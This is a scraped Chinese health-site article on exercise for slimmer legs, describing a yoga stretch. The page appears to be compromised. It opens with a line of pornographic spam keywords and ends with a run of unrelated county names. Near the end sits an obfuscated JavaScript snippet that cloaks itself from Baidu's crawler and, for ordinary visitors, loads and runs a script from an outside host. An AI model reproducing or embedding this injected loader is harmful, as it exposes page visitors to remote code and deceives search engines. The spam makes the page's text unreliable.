亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 減肥 > 運動減肥 > 正文

運動瘦腿到底有用嗎

2017-06-11 12:50:56  來源:360常識網(wǎng)   熱度:
導語:說起蘿卜腿,真的是勾起無數(shù)MM的傷心處??!腿部線條不夠完美,看起來更加的難看,而且穿什么衣服也不太好看,令無數(shù)的MM痛苦不已。想要瘦腿

說起蘿卜腿,真的是勾起無數(shù)MM的傷心處啊!腿部線條不夠完美,看起來更加的難看,而且穿什么衣服也不太好看,令無數(shù)的MM痛苦不已。想要瘦腿,方法有很多,而運動也是其中的一種,可是,經(jīng)常運動瘦腿有用嗎?想要知道答案的朋友們,趕快跟著我看一看吧!

腿部線條不完美是很多MM的痛處,小熱褲過去,打底褲又會重出江湖,再不瘦腿就晚了!10月的天氣不冷不熱更適合運動了,要想改善腿部線條,練出大長腿,那就要努力了。這套針對腿部的瑜伽運動,就能很好的起到拉長腿部線條的作用,三招瘦腿輕松駕馭任何褲子,晉升長腿星人

Krouncha是蒼鷺的意思,就是動作進行時,兩條腿的形態(tài)像是蒼鷺伸展出去的脖子和腦袋,所以這個動作的名字——Krouncha由此而來。

1. 兩條腿伸直,上半身正直地坐在地上,然后右腳向后折回,右腳跟放置在右臀部附近的墊子上;左腳伸直,左腳尖向身體方向勾回;兩手自然下垂,手指輕輕觸碰墊子。

2. 左腳膝蓋彎曲隆起,兩手十字交叉并環(huán)住左大腿的下面,呼吸氣的同時,上半身保持挺直狀態(tài)。

3. 呼氣的同時,左腳抬起并伸展出去,腳跟向著天花板的方向提起,直到膝蓋完全地打直

4. 兩手移至腳踝位置,幫助小腿進行進一步的拉伸,腳后跟也隨之繼續(xù)向著天花板的方向提起。(調(diào)節(jié)自己的呼吸并維持姿勢30-60秒后,再進行另一方向的動作)

究竟經(jīng)常運動瘦腿有用嗎?上文為大家已經(jīng)詳細的介紹了,運動是瘦腿中的一個比較不錯的方法,要比減肥藥,瘦腿霜好的多,像減肥藥,瘦腿霜,都會對身體造成傷害的,是有副作用的,還是不要用比較好,還是采用運動的方法比較安全哦!

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
扶绥县| 东海县| 射阳县| 利辛县| 全南县| 乐昌市| 永吉县| 垣曲县| 湘乡市| 刚察县| 贞丰县| 应城市| 射洪县| 翁牛特旗| 来凤县| 松潘县| 获嘉县| 巨鹿县| 中方县| 颍上县| 分宜县| 明光市| 罗甸县| 三都| 谢通门县| 吴忠市| 凤山市| 扎囊县| 和顺县| 海宁市| 顺义区| 中西区| 东乡| 通许县| 崇义县| 化州市| 长治县| 犍为县| 噶尔县| 忻城县| 淅川县|